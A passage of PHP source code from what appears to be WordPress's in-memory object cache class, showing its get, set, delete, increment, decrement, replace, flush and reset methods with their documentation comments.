* @param array $groups List of groups that are global.
*/
public function add_global_groups( $groups ) {
$groups = (array) $groups;
$groups = array_fill_keys( $groups, true );
$this->global_groups = array_merge( $this->global_groups, $groups );
}
/**
* Decrements numeric cache item's value.
*
* @since 3.3.0
*
* @param int|string $key The cache key to decrement.
* @param int $offset Optional. The amount by which to decrement the item's value. Default 1.
* @param string $group Optional. The group the key is in. Default 'default'.
* @return false|int False on failure, the item's new value on success.
*/
public function decr( $key, $offset = 1, $group = 'default' ) {
if ( empty( $group ) ) {
$group = 'default';
}
if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) {
$key = $this->blog_prefix . $key;
}
if ( ! $this->_exists( $key, $group ) ) {
return false;
}
if ( ! is_numeric( $this->cache[ $group ][ $key ] ) ) {
$this->cache[ $group ][ $key ] = 0;
}
$offset = (int) $offset;
$this->cache[ $group ][ $key ] -= $offset;
if ( $this->cache[ $group ][ $key ] < 0 ) {
$this->cache[ $group ][ $key ] = 0;
}
return $this->cache[ $group ][ $key ];
}
/**
* Removes the contents of the cache key in the group.
*
* If the cache key does not exist in the group, then nothing will happen.
*
* @since 2.0.0
*
* @param int|string $key What the contents in the cache are called.
* @param string $group Optional. Where the cache contents are grouped. Default 'default'.
* @param bool $deprecated Optional. Unused. Default false.
* @return bool False if the contents weren't deleted and true on success.
*/
public function delete( $key, $group = 'default', $deprecated = false ) {
if ( empty( $group ) ) {
$group = 'default';
}
if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) {
$key = $this->blog_prefix . $key;
}
if ( ! $this->_exists( $key, $group ) ) {
return false;
}
unset( $this->cache[ $group ][ $key ] );
return true;
}
/**
* Clears the object cache of all data.
*
* @since 2.0.0
*
* @return true Always returns true.
*/
public function flush() {
$this->cache = array();
return true;
}
/**
* Retrieves the cache contents, if it exists.
*
* The contents will be first attempted to be retrieved by searching by the
* key in the cache group. If the cache is hit (success) then the contents
* are returned.
*
* On failure, the number of cache misses will be incremented.
*
* @since 2.0.0
*
* @param int|string $key What the contents in the cache are called.
* @param string $group Optional. Where the cache contents are grouped. Default 'default'.
* @param bool $force Optional. Unused. Whether to force a refetch rather than relying on the local
* cache. Default false.
* @param bool $found Optional. Whether the key was found in the cache (passed by reference).
* Disambiguates a return of false, a storable value. Default null.
* @return false|mixed False on failure to retrieve contents or the cache contents on success.
*/
public function get( $key, $group = 'default', $force = false, &$found = null ) {
if ( empty( $group ) ) {
$group = 'default';
}
if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) {
$key = $this->blog_prefix . $key;
}
if ( $this->_exists( $key, $group ) ) {
$found = true;
$this->cache_hits += 1;
if ( is_object( $this->cache[ $group ][ $key ] ) ) {
return clone $this->cache[ $group ][ $key ];
} else {
return $this->cache[ $group ][ $key ];
}
}
$found = false;
$this->cache_misses += 1;
return false;
}
/**
* Increments numeric cache item's value.
*
* @since 3.3.0
*
* @param int|string $key The cache key to increment
* @param int $offset Optional. The amount by which to increment the item's value. Default 1.
* @param string $group Optional. The group the key is in. Default 'default'.
* @return false|int False on failure, the item's new value on success.
*/
public function incr( $key, $offset = 1, $group = 'default' ) {
if ( empty( $group ) ) {
$group = 'default';
}
if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) {
$key = $this->blog_prefix . $key;
}
if ( ! $this->_exists( $key, $group ) ) {
return false;
}
if ( ! is_numeric( $this->cache[ $group ][ $key ] ) ) {
$this->cache[ $group ][ $key ] = 0;
}
$offset = (int) $offset;
$this->cache[ $group ][ $key ] += $offset;
if ( $this->cache[ $group ][ $key ] < 0 ) {
$this->cache[ $group ][ $key ] = 0;
}
return $this->cache[ $group ][ $key ];
}
/**
* Replaces the contents in the cache, if contents already exist.
*
* @since 2.0.0
*
* @see WP_Object_Cache::set()
*
* @param int|string $key What to call the contents in the cache.
* @param mixed $data The contents to store in the cache.
* @param string $group Optional. Where to group the cache contents. Default 'default'.
* @param int $expire Optional. When to expire the cache contents. Default 0 (no expiration).
* @return bool False if not exists, true if contents were replaced.
*/
public function replace( $key, $data, $group = 'default', $expire = 0 ) {
if ( empty( $group ) ) {
$group = 'default';
}
$id = $key;
if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) {
$id = $this->blog_prefix . $key;
}
if ( ! $this->_exists( $id, $group ) ) {
return false;
}
return $this->set( $key, $data, $group, (int) $expire );
}
/**
* Resets cache keys.
*
* @since 3.0.0
*
* @deprecated 3.5.0 Use switch_to_blog()
* @see switch_to_blog()
*/
public function reset() {
_deprecated_function( __FUNCTION__, '3.5.0', 'switch_to_blog()' );
// Clear out non-global caches since the blog ID has changed.
foreach ( array_keys( $this->cache ) as $group ) {
if ( ! isset( $this->global_groups[ $group ] ) ) {
unset( $this->cache[ $group ] );
}
}
}
/**
* Sets the data contents into the cache.
*
* The cache contents are grouped by the $group parameter followed by the
* $key. This allows for duplicate ids in unique groups. Therefore, naming of
* the group should be used with care and should follow normal function
* naming guidelines outside of core WordPress usage.
*
* The $expire parameter is not used, because the cache will automatically
* expire for each time a page is accessed and PHP finishes. The method is
* more for cache plugins which use files.
*
* @since 2.0.0
*
* @param int|string $key What to call the contents in the cache.
* @param mixed $data The contents to store in the cache.
* @param string $group Optional. Where to group the cache contents. Default 'default'.
* @param int $expire Not Used.
* @return true Always returns true.
*/
public function set( $key, $data, $group = 'default', $expire = 0 ) {
if ( empty( $group ) ) {
$group = 'default';
}
if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) {
$key = $this->blog_prefix . $key;
}
if ( is_object( $data ) ) {
$data = clone $data;
}
$this->cache[ $group ][ $key ] = $data;
return true;
}
/**
* Echoes the stats of the caching.
*
* Gives the cache hits, and cache misses. Also prints every cached group,
* key and the data.
*
* @since 2.0.0
*/
public function stats() {
echo '
';
echo "Cache Hits: {$this->cache_hits}
";
echo "Cache Misses: {$this->cache_misses}
";
echo '